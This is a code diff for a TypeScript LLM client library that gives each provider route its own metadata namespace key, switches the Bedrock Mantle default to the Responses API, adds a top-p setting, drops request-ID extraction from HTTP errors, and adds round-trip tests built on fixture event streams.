@@ -324,17 +325,18 @@ const lowerMedia = Effect.fn("OpenAIChat.lowerMedia")(function* (part: MediaPart
const openAICompatibleReasoningContent = (native: unknown) =>
isRecord(native) && typeof native.reasoning_content === "string" ? native.reasoning_content : undefined
const reasoningField = (part: ReasoningPart) => {
const field = part.providerMetadata?.openai?.reasoningField
const reasoningField = (part: ReasoningPart, providerMetadataKey: string) => {
const field = part.providerMetadata?.[providerMetadataKey]?.reasoningField
return typeof field === "string" ? field : undefined
}
const reasoningDetails = (parts: ReadonlyArray<ReasoningPart>, native: unknown) => {
const reasoningDetails = (parts: ReadonlyArray<ReasoningPart>, native: unknown, providerMetadataKey: string) => {
const observed = parts.flatMap((part) => {
const details = part.providerMetadata?.openai?.reasoningDetails
const details = part.providerMetadata?.[providerMetadataKey]?.reasoningDetails
return Array.isArray(details) ? details : []
})
if (parts.some((part) => Array.isArray(part.providerMetadata?.openai?.reasoningDetails))) return observed
if (parts.some((part) => Array.isArray(part.providerMetadata?.[providerMetadataKey]?.reasoningDetails)))
return observed
if (isRecord(native) && Array.isArray(native.reasoning_details)) return native.reasoning_details
}
@@ -366,7 +368,7 @@ const lowerAssistantMessage = Effect.fn("OpenAIChat.lowerAssistantMessage")(func
message: OpenAIChatRequestMessage,
configuredField: string | undefined,
requireReasoning: boolean,
options: LoweringOptions,
options: LoweringOptions & { readonly providerMetadataKey: string },
) {
const content: TextPart[] = []
const reasoning: ReasoningPart[] = []
@@ -388,10 +390,14 @@ const lowerAssistantMessage = Effect.fn("OpenAIChat.lowerAssistantMessage")(func
}
}
const text = reasoning.map((part) => part.text).join("")
const details = reasoningDetails(reasoning, message.native?.openaiCompatible)
const observedField = reasoning.map(reasoningField).find((value) => value !== undefined)
const details = reasoningDetails(reasoning, message.native?.openaiCompatible, options.providerMetadataKey)
const observedField = reasoning
.map((part) => reasoningField(part, options.providerMetadataKey))
.find((value) => value !== undefined)
const nativeReasoning = openAICompatibleReasoningContent(message.native?.openaiCompatible)
const fullyStructured = reasoning.every((part) => Array.isArray(part.providerMetadata?.openai?.reasoningDetails))
const fullyStructured = reasoning.every((part) =>
Array.isArray(part.providerMetadata?.[options.providerMetadataKey]?.reasoningDetails),
)
const field = (() => {
if (configuredField !== undefined && (requireReasoning || reasoning.length > 0 || nativeReasoning !== undefined))
return configuredField
@@ -459,7 +465,7 @@ const lowerMessage = Effect.fn("OpenAIChat.lowerMessage")(function* (
message: OpenAIChatRequestMessage,
reasoningField: string | undefined,
requireReasoning: boolean,
options: LoweringOptions,
options: LoweringOptions & { readonly providerMetadataKey: string },
) {
if (message.role === "user") return [yield* lowerUserMessage(message, options)]
if (message.role === "assistant")
@@ -495,6 +501,7 @@ const lowerMessages = Effect.fn("OpenAIChat.lowerMessages")(function* (request:
const mistral = ["mistral", "devstral", "codestral", "pixtral", "mixtral"].some((family) => modelID.includes(family))
const lowering = {
...options,
providerMetadataKey: request.model.route.providerMetadataKey ?? String(request.model.provider),
toolCallID: (id: string) => {
if (mistral)
return id
@@ -820,7 +827,7 @@ const mapFinishReason = Effect.fn("OpenAIChat.mapFinishReason")(function* (event
// Providers differ on cache-hit location: OpenAI uses
// `prompt_tokens_details.cached_tokens`, DeepSeek uses
// `prompt_cache_hit_tokens`, and Zai uses top-level `cached_tokens`.
const mapUsage = (usage: OpenAIChatEvent["usage"]): Usage | undefined => {
const mapUsage = (usage: OpenAIChatEvent["usage"], providerMetadataKey: string): Usage | undefined => {
if (!usage) return undefined
const input = usage.prompt_tokens ?? undefined
const output = usage.completion_tokens ?? undefined
@@ -839,7 +846,7 @@ const mapUsage = (usage: OpenAIChatEvent["usage"]): Usage | undefined => {
cacheWriteInputTokens: cacheWrite,
reasoningTokens: reasoning,
totalTokens: ProviderShared.totalTokens(input, output, usage.total_tokens ?? undefined),
providerMetadata: { openai: usage },
providerMetadata: { [providerMetadataKey]: usage },
})
}
@@ -913,8 +920,12 @@ const conflictingReasoningTextDetails = (previous: Record<string, unknown>, curr
const conflictingDetailValue = (previous: unknown, current: unknown) =>
previous !== undefined && previous !== null && current !== undefined && current !== null && previous !== current
const reasoningMetadata = (field: ParserState["reasoningField"], details?: ReadonlyArray<unknown>) => ({
openai: {
const reasoningMetadata = (
providerMetadataKey: string,
field: ParserState["reasoningField"],
details?: ReadonlyArray<unknown>,
) => ({
[providerMetadataKey]: {
...(field ? { reasoningField: field } : {}),
...(details ? { reasoningDetails: details } : {}),
},
@@ -941,7 +952,10 @@ const step = (state: ParserState, event: OpenAIChatEvent) =>
// Moonshot (and a few other OpenAI-compatible providers) attach usage to
// `choice.usage` instead of the top-level `usage` field.
const choiceUsage = (choice as unknown as { usage?: OpenAIChatEvent["usage"] })?.usage
const usage = mapUsage(event.usage) ?? (choiceUsage ? mapUsage(choiceUsage) : undefined) ?? state.usage
const usage =
mapUsage(event.usage, state.providerMetadataKey) ??
(choiceUsage ? mapUsage(choiceUsage, state.providerMetadataKey) : undefined) ??
state.usage
const rawFinishReason = choice?.finish_reason
const finishReason = rawFinishReason
? {
@@ -979,7 +993,7 @@ const step = (state: ParserState, event: OpenAIChatEvent) =>
const detailDelta = Array.isArray(delta?.reasoning_details) ? delta.reasoning_details : undefined
if (detailDelta !== undefined) appendReasoningDetails(state.reasoningDetails, detailDelta)
const reasoningDetailsObserved = state.reasoningDetailsObserved || detailDelta !== undefined
const deltaMetadata = reasoningMetadata(reasoningField)
const deltaMetadata = reasoningMetadata(state.providerMetadataKey, reasoningField)
const text = detailDelta?.length ? (detailText(detailDelta) ?? reasoning?.text) : reasoning?.text
if (text !== undefined) lifecycle = Lifecycle.reasoningDelta(lifecycle, events, "reasoning-0", text, deltaMetadata)
else if (
@@ -995,7 +1009,11 @@ const step = (state: ParserState, event: OpenAIChatEvent) =>
lifecycle,
events,
"reasoning-0",
reasoningMetadata(reasoningField, reasoningDetailsObserved ? state.reasoningDetails : undefined),
reasoningMetadata(
state.providerMetadataKey,
reasoningField,
reasoningDetailsObserved ? state.reasoningDetails : undefined,
),
)
lifecycle = Lifecycle.textDelta(lifecycle, events, "text-0", delta.content)
}
@@ -1005,7 +1023,11 @@ const step = (state: ParserState, event: OpenAIChatEvent) =>
lifecycle,
events,
"reasoning-0",
reasoningMetadata(reasoningField, reasoningDetailsObserved ? state.reasoningDetails : undefined),
reasoningMetadata(
state.providerMetadataKey,
reasoningField,
reasoningDetailsObserved ? state.reasoningDetails : undefined,
),
)
lifecycle = Lifecycle.textDelta(lifecycle, events, "text-0", delta.refusal)
}
@@ -1066,6 +1088,7 @@ const step = (state: ParserState, event: OpenAIChatEvent) =>
return [
{
providerMetadataKey: state.providerMetadataKey,
tools: finished?.tools ?? tools,
pendingTools,
toolCallEvents: finished?.events ?? state.toolCallEvents,
@@ -1109,12 +1132,18 @@ const finishEvents = Effect.fn("OpenAIChat.finishEvents")(function* (state: Pars
}
: { normalized: hasToolCalls ? ("tool-calls" as const) : ("stop" as const) }
const metadata = reasoningMetadata(
state.providerMetadataKey,
state.reasoningField,
state.reasoningDetailsObserved ? state.reasoningDetails : undefined,
)
const started =
state.reasoningDetailsObserved && !state.reasoningEmitted
? Lifecycle.reasoningStart(state.lifecycle, events, "reasoning-0", reasoningMetadata(state.reasoningField))
? Lifecycle.reasoningStart(
state.lifecycle,
events,
"reasoning-0",
reasoningMetadata(state.providerMetadataKey, state.reasoningField),
)
: state.lifecycle
const ended = Lifecycle.reasoningEnd(started, events, "reasoning-0", metadata)
const lifecycle = toolCallEvents.length ? Lifecycle.stepStart(ended, events) : ended
@@ -1141,6 +1170,7 @@ export const protocol = Protocol.make({
stream: {
event: Protocol.jsonEvent(OpenAIChatEvent),
initial: (request) => ({
providerMetadataKey: request.model.route.providerMetadataKey ?? String(request.model.provider),
tools: ToolStream.empty<number>(),
pendingTools: {},
toolCallEvents: [],
@@ -23,13 +23,14 @@ export interface Settings extends ProviderPackage.Settings {
readonly baseURL?: string
readonly credentials?: Credentials
readonly region?: string
readonly topP?: number
readonly providerOptions?: OpenAIProviderOptionsInput
}
const responsesRoute = Route.make({
id: "bedrock-mantle-responses",
provider: id,
providerMetadataKey: OpenAIResponses.route.providerMetadataKey,
providerMetadataKey: "mantle",
protocol: OpenAIResponses.protocol,
endpoint: OpenAIResponses.route.endpoint,
auth: OpenAIResponses.route.auth,
@@ -40,6 +41,7 @@ const responsesRoute = Route.make({
const chatRoute = OpenAIChat.route.with({
id: "bedrock-mantle-chat",
provider: id,
providerMetadataKey: "mantle",
})
export const routes = [responsesRoute, chatRoute]
@@ -76,7 +78,7 @@ export const configure = (input: Config = {}) => {
return {
id,
model: chat,
model: responses,
chat,
responses,
configure,
@@ -94,6 +96,7 @@ const config = (settings: Settings): Config => {
apiKey: settings.auth === "sigv4" ? undefined : settings.apiKey,
baseURL: settings.baseURL,
credentials: settings.credentials,
generation: settings.topP === undefined ? undefined : { topP: settings.topP },
headers: settings.headers === undefined ? undefined : { ...settings.headers },
http: settings.body === undefined ? undefined : { body: { ...settings.body } },
providerOptions: settings.providerOptions,
@@ -109,4 +112,4 @@ export const responsesModel: ProviderPackage.Definition<Settings, OpenAIProvider
modelID,
settings,
) => configure(config(settings)).responses(modelID)
export const model = chatModel
export const model = responsesModel
@@ -35,6 +35,7 @@ const configuredRoute = (input: Config) => {
return BedrockConverse.route.with({
...rest,
provider: id,
providerMetadataKey: "bedrock",
endpoint: { baseURL: baseURL ?? bedrockBaseURL(resolvedRegion) },
auth: apiKey === undefined ? BedrockConverse.sigV4Auth(credentials) : Auth.bearer(apiKey),
})
@@ -1,2 +1,2 @@
export { chatModel as model } from "../amazon-bedrock-mantle.js"
export { responsesModel as model } from "../amazon-bedrock-mantle.js"
export type { Settings } from "../amazon-bedrock-mantle.js"
@@ -27,6 +27,7 @@ export interface Settings extends ProviderPackage.Settings {
const route = OpenAICompatibleChat.route.with({
id: "google-vertex-chat",
provider: id,
providerMetadataKey: "vertex",
})
export const routes = [route]
@@ -27,6 +27,7 @@ export interface Settings extends ProviderPackage.Settings {
const route = OpenAICompatibleResponses.route.with({
id: "google-vertex-responses",
provider: id,
providerMetadataKey: "vertex",
providerOptions: { store: false },
})
+1 -1
View File
@@ -68,7 +68,7 @@ const protocol = {
const route = Route.make({
id: "google-vertex-gemini",
provider: id,
providerMetadataKey: "google",
providerMetadataKey: "vertex",
protocol,
endpoint: Endpoint.path(({ request }) => {
const model = String(request.model.id)
+1
View File
@@ -164,6 +164,7 @@ const bodyOptions = (input: unknown) => {
export const route = Route.make({
id: ADAPTER,
provider: profile.provider,
providerMetadataKey: "openrouter",
protocol,
endpoint: Endpoint.path("/chat/completions", { baseURL: profile.baseURL }),
framing: Framing.sse,
+7 -1
View File
@@ -89,6 +89,7 @@ export interface RouteDefaultsInput {
export interface RoutePatch<Body, Prepared> extends RouteDefaultsInput {
readonly id?: string
readonly provider?: string | ProviderID
readonly providerMetadataKey?: string
readonly auth?: Auth.Definition
readonly transport?: Transport<Body, Prepared, unknown>
readonly endpoint?: EndpointPatch<Body>
@@ -289,11 +290,16 @@ function makeFromTransport<Body, Prepared, Frame, Event, State>(
defaults: routeInput.defaults ?? {},
body: protocol.body,
with: (patch: RoutePatch<Body, Prepared>) => {
const { id, provider, auth, transport, endpoint, ...defaults } = patch
const { id, provider, providerMetadataKey, auth, transport, endpoint, ...defaults } = patch
return build({
...routeInput,
id: id ?? routeInput.id,
provider: provider ?? routeInput.provider,
providerMetadataKey:
providerMetadataKey ??
(provider !== undefined && String(provider) !== String(routeInput.provider)
? String(provider)
: routeInput.providerMetadataKey),
auth: auth ?? routeInput.auth,
endpoint: endpoint ? Endpoint.merge(routeInput.endpoint, endpoint) : routeInput.endpoint,
transport: (transport as Transport<Body, Prepared, Frame> | undefined) ?? routeInput.transport,
-15
View File
@@ -40,17 +40,6 @@ const headerDetails = (headers: Headers.Headers) =>
const normalizedHeaders = (headers: Headers.Headers) =>
Object.fromEntries(Object.entries(headers).map(([key, value]) => [key.toLowerCase(), value]))
const requestId = (headers: Record<string, string>) => {
return (
headers["x-request-id"] ??
headers["request-id"] ??
headers["x-amzn-requestid"] ??
headers["x-amz-request-id"] ??
headers["x-goog-request-id"] ??
headers["cf-ray"]
)
}
const retryAfterMs = (headers: Record<string, string>) => {
const millis = Number(headers["retry-after-ms"])
if (Number.isFinite(millis)) return Math.max(0, millis)
@@ -147,14 +136,12 @@ const responseHttp = (input: {
readonly request: HttpClientRequest.HttpClientRequest
readonly response: HttpClientResponse.HttpClientResponse
readonly body: ReturnType<typeof responseBody>
readonly requestId?: string | undefined
readonly rateLimit?: HttpRateLimitDetails | undefined
}) =>
new HttpContext({
request: requestDetails(input.request),
response: responseDetails(input.response),
...input.body,
requestId: input.requestId,
rateLimit: input.rateLimit,
})
@@ -179,7 +166,6 @@ const statusError =
request,
response,
body: details,
requestId: requestId(headers),
rateLimit,
}),
}),
@@ -216,7 +202,6 @@ export const classifyHttpFailure = (input: {
? undefined
: new HttpResponseDetails({ status: input.status, headers: headerDetails(Headers.fromInput(headers)) }),
...details,
requestId: requestId(headers),
rateLimit,
}),
})
-1
View File
@@ -29,7 +29,6 @@ export class HttpContext extends Schema.Class<HttpContext>("AI.HttpContext")({
response: Schema.optional(HttpResponseDetails),
body: Schema.optional(Schema.String),
bodyTruncated: Schema.optional(Schema.Boolean),
requestId: Schema.optional(Schema.String),
rateLimit: Schema.optional(HttpRateLimitDetails),
}) {}
-1
View File
@@ -327,7 +327,6 @@ describe("RequestExecutor", () => {
retryAfterMs: 0,
rateLimit: { retryAfterMs: 0 },
http: {
requestId: "req_123",
request: {
method: "POST",
url: "https://provider.test/v1/chat?api_key=secret&key=secret&debug=1",
@@ -2,7 +2,7 @@ import { describe, expect } from "bun:test"
import { Effect } from "effect"
import { HttpClientRequest } from "effect/unstable/http"
import { CacheHint, LLM, AIError, LLMRequest, Message, ToolCallPart, ToolDefinition, Usage } from "../../src/index.js"
import { Auth, LLMClient } from "../../src/route.js"
import { Auth, Endpoint, LLMClient, Route } from "../../src/route.js"
import { compileRequest } from "../../src/route/client.js"
import * as AnthropicMessages from "../../src/protocols/anthropic-messages.js"
import { GoogleVertexMessages } from "../../src/providers.js"
@@ -810,6 +810,99 @@ describe("Anthropic Messages route", () => {
}),
)
it.effect("round-trips compatible provider metadata in its own namespace", () =>
Effect.gen(function* () {
const compatible = Route.make({
id: "custom-anthropic-messages",
provider: "custom-anthropic",
protocol: AnthropicMessages.protocol,
endpoint: Endpoint.path("/messages", { baseURL: "https://compatible.test/v1" }),
auth: Auth.header("x-api-key", "test"),
framing: AnthropicMessages.framing,
}).model({ id: "custom-model" })
const result = [
{
type: "web_search_result",
url: "https://example.com",
citations: [{ type: "web_search_result_location", cited_text: "Example" }],
},
]
const response = yield* LLMClient.generate(LLM.request({ model: compatible, prompt: "Search." })).pipe(
Effect.provide(
fixedResponse(
sseEvents(
{ type: "message_start", message: { usage: { input_tokens: 5, custom_start: true } } },
{ type: "content_block_start", index: 0, content_block: { type: "thinking", thinking: "Thinking." } },
{ type: "content_block_delta", index: 0, delta: { type: "signature_delta", signature: "custom_sig" } },
{ type: "content_block_stop", index: 0 },
{
type: "content_block_start",
index: 1,
content_block: { type: "redacted_thinking", data: "custom_redacted" },
},
{ type: "content_block_stop", index: 1 },
{
type: "content_block_start",
index: 2,
content_block: {
type: "server_tool_use",
id: "custom_tool",
name: "web_search",
input: { query: "example" },
},
},
{ type: "content_block_stop", index: 2 },
{
type: "content_block_start",
index: 3,
content_block: { type: "web_search_tool_result", tool_use_id: "custom_tool", content: result },
},
{ type: "content_block_stop", index: 3 },
{
type: "message_delta",
delta: { stop_reason: "end_turn", stop_sequence: "custom_stop" },
usage: { output_tokens: 2, custom_terminal: true },
},
{ type: "message_stop" },
),
),
),
)
expect(response.message.content).toMatchObject([
{ type: "reasoning", text: "Thinking.", providerMetadata: { "custom-anthropic": { signature: "custom_sig" } } },
{ type: "reasoning", text: "", providerMetadata: { "custom-anthropic": { redactedData: "custom_redacted" } } },
{ type: "tool-call", id: "custom_tool", providerExecuted: true },
{
type: "tool-result",
providerExecuted: true,
providerMetadata: { "custom-anthropic": { blockType: "web_search_tool_result", result } },
},
])
expect(response.usage?.providerMetadata).toEqual({
"custom-anthropic": { input_tokens: 5, custom_start: true, output_tokens: 2, custom_terminal: true },
})
expect(response.events.at(-1)).toMatchObject({
providerMetadata: { "custom-anthropic": { stopSequence: "custom_stop" } },
})
const prepared = yield* compileRequest(
LLM.request({ model: compatible, messages: [response.message], cache: "none" }),
)
expect(prepared.body.messages).toEqual([
{
role: "assistant",
content: [
{ type: "thinking", thinking: "Thinking.", signature: "custom_sig" },
{ type: "redacted_thinking", data: "custom_redacted" },
{ type: "server_tool_use", id: "custom_tool", name: "web_search", input: { query: "example" } },
{ type: "web_search_tool_result", tool_use_id: "custom_tool", content: result },
],
},
])
}),
)
it.effect("parses text, reasoning, and usage stream fixtures", () =>
Effect.gen(function* () {
const body = sseEvents(
@@ -569,6 +569,57 @@ describe("Bedrock Converse route", () => {
}),
)
it.effect("round-trips reassigned provider reasoning and usage metadata in its own namespace", () =>
Effect.gen(function* () {
const compatible = model.route.with({ provider: "custom-bedrock" }).model({ id: model.id })
const redactedData = "cmVkYWN0ZWQtdGhpbmtpbmc="
const response = yield* LLMClient.generate(LLMRequest.update(baseRequest, { model: compatible })).pipe(
Effect.provide(
fixedBytes(
eventStreamBody(
["messageStart", { role: "assistant" }],
["contentBlockDelta", { contentBlockIndex: 0, delta: { reasoningContent: { text: "Let me think." } } }],
["contentBlockDelta", { contentBlockIndex: 0, delta: { reasoningContent: { signature: "custom_sig" } } }],
["contentBlockStop", { contentBlockIndex: 0 }],
[
"contentBlockDelta",
{ contentBlockIndex: 1, delta: { reasoningContent: { redactedContent: redactedData } } },
],
["contentBlockStop", { contentBlockIndex: 1 }],
["messageStop", { stopReason: "end_turn" }],
["metadata", { usage: { inputTokens: 5, outputTokens: 2, totalTokens: 7 } }],
),
),
),
)
expect(response.message.content).toEqual([
{
type: "reasoning",
text: "Let me think.",
providerMetadata: { "custom-bedrock": { signature: "custom_sig" } },
},
{ type: "reasoning", text: "", providerMetadata: { "custom-bedrock": { redactedData } } },
])
expect(response.usage?.providerMetadata).toEqual({
"custom-bedrock": { inputTokens: 5, outputTokens: 2, totalTokens: 7 },
})
const prepared = yield* compileRequest(
LLM.request({ model: compatible, messages: [response.message], cache: "none" }),
)
expect(prepared.body.messages).toEqual([
{
role: "assistant",
content: [
{ reasoningContent: { reasoningText: { text: "Let me think.", signature: "custom_sig" } } },
{ reasoningContent: { redactedContent: redactedData } },
],
},
])
}),
)
it.effect("preserves reasoning signatures when contentBlockStop is missing", () =>
Effect.gen(function* () {
const response = yield* LLMClient.generate(baseRequest).pipe(
@@ -3,6 +3,7 @@ import { Effect } from "effect"
import { HttpClientRequest } from "effect/unstable/http"
import { LLM, Message } from "../../src/index.js"
import { AmazonBedrockMantle } from "../../src/providers.js"
import { model } from "../../src/providers/amazon-bedrock/mantle.js"
import { OpenAIResponses } from "../../src/protocols/openai-responses.js"
import { compileRequest, LLMClient } from "../../src/route/client.js"
import { it } from "../lib/effect.js"
@@ -17,13 +18,16 @@ const credentials = {
}
describe("Amazon Bedrock Mantle provider", () => {
it.effect("uses Chat by default and exposes Responses", () =>
it.effect("uses Responses by default and exposes Chat explicitly", () =>
Effect.gen(function* () {
const provider = AmazonBedrockMantle.configure({ credentials })
expect(provider.responses("openai.gpt-oss-120b").route.transport).toBe(OpenAIResponses.httpTransport)
const chat = yield* compileRequest(LLM.request({ model: provider.model("openai.gpt-oss-120b"), prompt: "Hi" }))
expect(provider.model).toBe(provider.responses)
expect(AmazonBedrockMantle.model).toBe(AmazonBedrockMantle.responsesModel)
expect(model).toBe(AmazonBedrockMantle.responsesModel)
expect(provider.model("openai.gpt-oss-120b").route.transport).toBe(OpenAIResponses.httpTransport)
const chat = yield* compileRequest(LLM.request({ model: provider.chat("openai.gpt-oss-120b"), prompt: "Hi" }))
const responses = yield* compileRequest(
LLM.request({ model: provider.responses("openai.gpt-oss-120b"), prompt: "Hi" }),
LLM.request({ model: provider.model("openai.gpt-oss-120b"), prompt: "Hi" }),
)
expect(chat).toMatchObject({
@@ -36,6 +40,23 @@ describe("Amazon Bedrock Mantle provider", () => {
protocol: "openai-responses",
body: { model: "openai.gpt-oss-120b", store: false },
})
expect(provider.model("openai.gpt-oss-120b").route.providerMetadataKey).toBe("mantle")
expect(provider.chat("openai.gpt-oss-120b").route.providerMetadataKey).toBe("mantle")
}),
)
it.effect("preserves configured top-p generation defaults for Chat and Responses", () =>
Effect.gen(function* () {
const settings = { apiKey: "test-key", topP: 0.8 }
const chat = yield* compileRequest(
LLM.request({ model: AmazonBedrockMantle.chatModel("openai.gpt-oss-safeguard-20b", settings), prompt: "Hi" }),
)
const responses = yield* compileRequest(
LLM.request({ model: AmazonBedrockMantle.responsesModel("openai.gpt-oss-120b", settings), prompt: "Hi" }),
)
expect(chat.body.top_p).toBe(0.8)
expect(responses.body.top_p).toBe(0.8)
}),
)
@@ -107,6 +128,9 @@ describe("Amazon Bedrock Mantle provider", () => {
LLM.request({ model, messages: [response.message, Message.user("Continue.")] }),
)
expect(response.message.content.find((part) => part.type === "reasoning")?.providerMetadata).toEqual({
mantle: { itemId: "msg_95d4d0af4350432a", reasoningEncryptedContent: "mantle-state" },
})
expect(prepared.body.input).toEqual([
{
type: "reasoning",
+1 -1
View File
@@ -126,7 +126,7 @@ describe("Cloudflare", () => {
expect(response.reasoning).toBe("Thinking")
expect(response.events.filter(LLMEvent.is.reasoningDelta)).toHaveLength(2)
expect(response.message.content.find((part) => part.type === "reasoning")?.providerMetadata).toEqual({
openai: { reasoningField: "reasoning", reasoningDetails: merged },
"cloudflare-ai-gateway": { reasoningField: "reasoning", reasoningDetails: merged },
})
const replay = yield* compileRequest(LLM.request({ model, messages: [response.message] }))
@@ -6,7 +6,7 @@ import { GoogleVertex, GoogleVertexChat, GoogleVertexMessages, GoogleVertexRespo
import { LLMClient } from "../../src/route.js"
import { compileRequest } from "../../src/route/client.js"
import { it } from "../lib/effect.js"
import { dynamicResponse } from "../lib/http.js"
import { dynamicResponse, fixedResponse } from "../lib/http.js"
import { deltaChunk, finishChunk } from "../lib/openai-chunks.js"
import { sseEvents } from "../lib/sse.js"
@@ -89,7 +89,7 @@ describe("Google Vertex providers", () => {
id: "call_1",
name: "lookup",
input: { query: "weather" },
providerMetadata: { google: { functionCallId: "provider_call_1" } },
providerMetadata: { vertex: { functionCallId: "provider_call_1" } },
}),
]),
Message.tool({
@@ -97,7 +97,7 @@ describe("Google Vertex providers", () => {
name: "lookup",
result: "sunny",
resultType: "text",
providerMetadata: { google: { functionCallId: "provider_call_1" } },
providerMetadata: { vertex: { functionCallId: "provider_call_1" } },
}),
],
}),
@@ -122,6 +122,91 @@ describe("Google Vertex providers", () => {
}),
)
it.effect("round-trips Vertex Gemini metadata through signed content, tool calls, and usage", () =>
Effect.gen(function* () {
const model = GoogleVertex.configure({
accessToken: "vertex-token",
project: "vertex-project",
}).model("gemini-3.5-flash")
const response = yield* LLMClient.generate(LLM.request({ model, prompt: "Check the weather." })).pipe(
Effect.provide(
fixedResponse(
sseEvents({
candidates: [
{
content: {
role: "model",
parts: [
{ text: "Thinking.", thought: true, thoughtSignature: "reasoning_sig" },
{ text: "Checking.", thoughtSignature: "text_sig" },
{
functionCall: { id: "provider_call_1", name: "lookup", args: { query: "weather" } },
thoughtSignature: "tool_sig",
},
],
},
finishReason: "STOP",
},
],
promptFeedback: { blockReasonMessage: "Reviewed" },
usageMetadata: { promptTokenCount: 5, candidatesTokenCount: 2, thoughtsTokenCount: 1 },
}),
),
),
)
const reasoning = response.events.find((event) => event.type === "reasoning-end")
const text = response.events.find((event) => event.type === "text-delta")
const toolCall = response.toolCalls[0]
expect(reasoning?.providerMetadata).toEqual({ vertex: { thoughtSignature: "reasoning_sig" } })
expect(text?.providerMetadata).toEqual({ vertex: { thoughtSignature: "text_sig" } })
expect(toolCall).toMatchObject({
id: "provider_call_1",
providerMetadata: { vertex: { thoughtSignature: "tool_sig" } },
})
expect(response.usage?.providerMetadata).toEqual({
vertex: { promptTokenCount: 5, candidatesTokenCount: 2, thoughtsTokenCount: 1 },
})
expect(response.events.at(-1)?.providerMetadata).toEqual({
vertex: { promptFeedback: { blockReasonMessage: "Reviewed" } },
})
const prepared = yield* compileRequest(
LLM.request({
model,
messages: [
Message.assistant([
{ type: "reasoning", text: "Thinking.", providerMetadata: reasoning?.providerMetadata },
{ type: "text", text: "Checking.", providerMetadata: text?.providerMetadata },
ToolCallPart.make({
id: toolCall.id,
name: toolCall.name,
input: toolCall.input,
providerMetadata: toolCall.providerMetadata,
}),
]),
Message.tool({ id: toolCall.id, name: toolCall.name, result: "sunny", resultType: "text" }),
],
}),
)
expect(prepared.body.contents).toEqual([
{
role: "model",
parts: [
{ text: "Thinking.", thought: true, thoughtSignature: "reasoning_sig" },
{ text: "Checking.", thoughtSignature: "text_sig" },
{ functionCall: { name: "lookup", args: { query: "weather" } }, thoughtSignature: "tool_sig" },
],
},
{
role: "user",
parts: [{ functionResponse: { name: "lookup", response: { name: "lookup", content: "sunny" } } }],
},
])
}),
)
it.effect("projects Anthropic Messages onto the Vertex raw-predict API", () =>
Effect.gen(function* () {
const model = GoogleVertexMessages.configure({
@@ -2,13 +2,80 @@ import { describe, expect } from "bun:test"
import { ConfigProvider, Effect } from "effect"
import { HttpClientRequest } from "effect/unstable/http"
import { LLM, Message, ToolDefinition } from "../../src/index.js"
import { Cerebras, DeepInfra, Groq, TogetherAI } from "../../src/providers/index.js"
import {
AmazonBedrock,
AmazonBedrockMantle,
Anthropic,
AnthropicCompatible,
Azure,
Cerebras,
CloudflareAIGateway,
CloudflareWorkersAI,
DeepInfra,
Google,
GoogleVertex,
GoogleVertexChat,
GoogleVertexMessages,
GoogleVertexResponses,
Groq,
OpenAI,
OpenAICompatible,
OpenAICompatibleResponses,
OpenRouter,
TogetherAI,
XAI,
} from "../../src/providers/index.js"
import { compileRequest } from "../../src/route/client.js"
import { it } from "../lib/effect.js"
import { dynamicResponse } from "../lib/http.js"
import { sseEvents } from "../lib/sse.js"
describe("native OpenAI-compatible providers", () => {
it.effect("assigns provider-owned metadata namespaces across native routes", () =>
Effect.gen(function* () {
const vertex = { project: "project", accessToken: "token" }
const providers = [
[OpenAI.configure({ apiKey: "test" }).chat("model"), "openai"],
[OpenAI.configure({ apiKey: "test" }).responses("model"), "openai"],
[Azure.configure({ resourceName: "resource", apiKey: "test" }).chat("model"), "azure"],
[Azure.configure({ resourceName: "resource", apiKey: "test" }).responses("model"), "azure"],
[AmazonBedrock.configure({ apiKey: "test" }).model("model"), "bedrock"],
[AmazonBedrockMantle.configure({ apiKey: "test" }).chat("model"), "mantle"],
[AmazonBedrockMantle.configure({ apiKey: "test" }).responses("model"), "mantle"],
[Google.configure({ apiKey: "test" }).model("model"), "google"],
[GoogleVertex.configure(vertex).model("model"), "vertex"],
[GoogleVertexChat.configure(vertex).model("model"), "vertex"],
[GoogleVertexResponses.configure(vertex).model("model"), "vertex"],
[GoogleVertexMessages.configure(vertex).model("model"), "anthropic"],
[Anthropic.configure({ apiKey: "test" }).model("model"), "anthropic"],
[
AnthropicCompatible.configure({ baseURL: "https://example.test/v1", provider: "minimax" }).model("model"),
"minimax",
],
[
OpenAICompatible.configure({ baseURL: "https://example.test/v1", provider: "custom" }).model("model"),
"custom",
],
[
OpenAICompatibleResponses.configure({ baseURL: "https://example.test/v1", provider: "custom" }).model(
"model",
),
"custom",
],
[Cerebras.configure({ apiKey: "test" }).model("model"), "cerebras"],
[DeepInfra.configure({ apiKey: "test" }).model("model"), "deepinfra"],
[TogetherAI.configure({ apiKey: "test" }).model("model"), "togetherai"],
[CloudflareAIGateway.configure({ accountId: "account" }).model("model"), "cloudflare-ai-gateway"],
[CloudflareWorkersAI.configure({ accountId: "account" }).model("model"), "cloudflare-workers-ai"],
[OpenRouter.configure({ apiKey: "test" }).model("model"), "openrouter"],
[XAI.configure({ apiKey: "test" }).chat("model"), "xai"],
[XAI.configure({ apiKey: "test" }).responses("model"), "xai"],
] as const
for (const [model, key] of providers) expect(model.route.providerMetadataKey).toBe(key)
}),
)
it.effect("preserves native Together AI and Cerebras provider and route identities", () =>
Effect.gen(function* () {
const together = TogetherAI.configure({ apiKey: "fixture" }).model("meta-llama/Llama-3.3-70B")
@@ -68,11 +68,13 @@ for (const item of cases) {
expect(response.text.replaceAll(",", "").trim()).toBe("37887")
expect(response.reasoning.length).toBeGreaterThan(0)
expect(response.events.some(LLMEvent.is.reasoningDelta)).toBe(true)
const metadata = response.message.content.find((part) => part.type === "reasoning")?.providerMetadata
expect(metadata?.openai?.reasoningField).toBe(item.structured ? "reasoning" : "reasoning_content")
expect(Array.isArray(metadata?.openai?.reasoningDetails)).toBe(item.structured)
const metadata = response.message.content.find((part) => part.type === "reasoning")?.providerMetadata?.[
item.model.route.providerMetadataKey ?? String(item.model.provider)
]
expect(metadata?.reasoningField).toBe(item.structured ? "reasoning" : "reasoning_content")
expect(Array.isArray(metadata?.reasoningDetails)).toBe(item.structured)
if (!item.structured) return
const details = metadata?.openai?.reasoningDetails
const details = metadata?.reasoningDetails
if (!Array.isArray(details)) return
expect(
details.some(
@@ -126,7 +128,11 @@ for (const item of cases) {
).toMatch(/^Paris is sunny\.?$/)
const details = events
.filter(LLMEvent.is.reasoningEnd)
.map((event) => event.providerMetadata?.openai?.reasoningDetails)
.map(
(event) =>
event.providerMetadata?.[item.model.route.providerMetadataKey ?? String(item.model.provider)]
?.reasoningDetails,
)
.find(Array.isArray)
expect(Array.isArray(details)).toBe(item.structured)
